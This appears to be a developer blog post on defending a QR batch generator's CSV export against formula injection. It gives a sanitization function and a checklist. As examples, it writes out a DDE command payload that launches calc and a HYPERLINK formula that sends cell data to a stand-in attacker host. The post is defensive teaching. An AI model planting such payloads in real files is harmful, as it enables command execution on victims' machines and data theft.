How I Prevented CSV Injection Attacks in a QR Batch Generator (And Why You Should Care)

In the hierarchy of scary file formats, the Comma Separated Value (CSV) file usually sits near the bottom, right next to .txt and .md. It’s just text, right? It doesn't have macros like .docm. It doesn't execute binaries like .exe. It’s just data, delimited by commas, waiting to be read.

That’s what I thought too—until I watched a spreadsheet try to open the Windows Calculator app because of a single cell of text.

The danger isn’t in the file format itself—it’s in how modern spreadsheet software interprets it. I recently spent a week hardening a bulk import feature against CSV injection attacks, and it was a sobering reminder that "plain text" is a lie we tell ourselves to feel safe.

If you are building any SaaS that allows users to upload data and then lets other users (like admins) export that data, you have a loaded gun pointed at your foot. Here’s how I dodged the bullet.

---

The SaaS Scenario: It Starts With a Simple Upload

Let’s set the stage. You’re building a typical B2B application. In my case, it was a platform handling bulk QR code generation. The requirement was standard: allow a user to upload a list of 5,000 employees, containing names, emails, and ID numbers, and generate a unique QR code for each one.

The flow looks like this:

1. User A (the client) uploads employees.csv.
2. The server parses the CSV, validates the emails, and stores the rows in a database.
3. User B (the admin or department head) logs in later and clicks "Export Report" to get a CSV of all generated codes and associated user data.
4. User B opens that CSV in Microsoft Excel.

Steps 1–3 are perfectly safe. The database treats =1+1 as a string. The vulnerability explodes at Step 4.

---

What is CSV Injection?

CSV Injection (also called Formula Injection) happens when a website embeds untrusted input inside a CSV file without validating or escaping it. When the user opens this file in a spreadsheet program like Microsoft Excel, LibreOffice, or Google Sheets, the software looks at the first character of each cell.

If that character is a trigger—typically =, +, -, or @—the software thinks:

“Ah, this isn't data. This is a formula! I should execute it.”

This is a feature, not a bug. Microsoft intentionally allows Dynamic Data Exchange (DDE) and formula execution from CSVs to maintain compatibility with legacy workflows. But for a modern web app, it’s a nightmare. It turns your data export feature into a remote code execution vector.

---

Why Excel Makes It Dangerous

You might think, "So what? The attacker can calculate a sum. Big deal."

If only it were that harmless. Excel formulas can do way more than arithmetic. The most notorious vector is DDE, an ancient Windows protocol that allows applications to talk to each other. Through DDE, a malicious formula can instruct the OS to execute commands.

Consider these two cells:

• Safe: John Doe
• Lethal: =cmd|' /C calc'!A0

If a user opens a CSV containing that second string, Excel might pop a warning (which users notoriously ignore) and then launch the Windows Calculator. If it can launch the calculator, it can launch PowerShell. If it can launch PowerShell, it can download malware, install a keylogger, or exfiltrate the spreadsheet.

---

A Real Exploit Example

Imagine an attacker signs up for your app and enters this as their "First Name":

=HYPERLINK("http://attacker-server.com/log?data="&A2&B2, "Click for Error")

When an admin exports the user list and opens the CSV, they see a cell that says "Click for Error"—which looks innocent. If they click it, the spreadsheet concatenates data from cells A2 and B2 (perhaps sensitive emails or IDs) and sends it as a GET request to the attacker’s server. No hacking of your database required.

---

How I Prevented It (Sanitization Logic)

The fix seems obvious: "Just sanitize the input!" But sanitizing CSV input is trickier than it looks. You can’t just strip special characters—legitimate names and phone numbers may include + or -.

The standard approach is tab-escaping or single-quote prepending. This forces Excel to treat the cell as text and not execute formulas.

Strategy

Check every field before writing it to CSV. If it starts with a dangerous character, wrap it in quotes and prepend a single quote (') or tab (\t).

Dangerous starting characters:

• = (Equals)
• + (Plus)
• - (Minus)
• @ (At symbol)
• 0x09 (Tab)
• 0x0D (Carriage Return)

---

Code Snippet: sanitizeCSVCell()

/**
 * Sanitizes a single cell value for CSV export to prevent Formula Injection.
 *
 * @param {string} value - The raw string to be written to the CSV
 * @return {string} - The sanitized, safe string
 */
function sanitizeCSVCell(value) {
    if (!value) return "";

    // Convert to string just in case
    let stringValue = String(value);

    // List of characters that trigger Excel behavior
    const dangerousPrefixes = ['=', '+', '-', '@', '\t', '\r'];

    // Check if the value starts with any dangerous character
    const startsWithDangerousChar = dangerousPrefixes.some(prefix =>
        stringValue.startsWith(prefix)
    );

    // Escape potentially dangerous values
    if (startsWithDangerousChar) {
        // Prepend a single quote to force Excel to treat as text
        stringValue = "'" + stringValue;
    }

    // Standard CSV formatting: wrap in quotes if needed and escape existing quotes
    if (stringValue.search(/("|,|\n)/g) >= 0) {
        stringValue = '"' + stringValue.replace(/"/g, '""') + '"';
    }

    return stringValue;
}

---

Why This Works

When Excel sees a field like "'=1+1", it treats the initial single quote as an indicator that the rest of the cell is text. It displays =1+1 to the user without executing it.

Yes, the user sees a stray apostrophe if they inspect the formula bar—but this is far safer than executing arbitrary commands.

---

Defensive Programming Checklist

1. Never trust the database – SQL sanitization ≠ CSV safety.
2. Escape on output, not input – Don't block legitimate names like =Ian.
3. Test with multiple spreadsheets – Excel, Google Sheets, LibreOffice.
4. Set proper headers – Content-Type: text/csv and Content-Disposition: attachment; filename="export.csv".
5. Use libraries carefully – Check for built-in sanitization flags in CSV libraries.

---

Lessons for SaaS Builders

The biggest takeaway isn’t technical—it’s psychological. Security isn’t just keeping hackers out; sometimes it’s protecting users from the data they download.

Your platform is part of a supply chain. If a CSV export infects a corporate network, that can destroy trust—and your business—in an instant.

---

Conclusion

CSV injection feels like a party trick until it hits production. It’s easy to overlook because it sits in the grey area between "web vulnerability" and "desktop application quirk."

Implementing a simple sanitization routine—like sanitizeCSVCell()—eliminates an entire class of attacks. It’s five minutes of work for peace of mind.

---

Have you ever encountered a malicious CSV in the wild? Or broken an export feature by over-sanitizing? Share your experiences in the discussion below.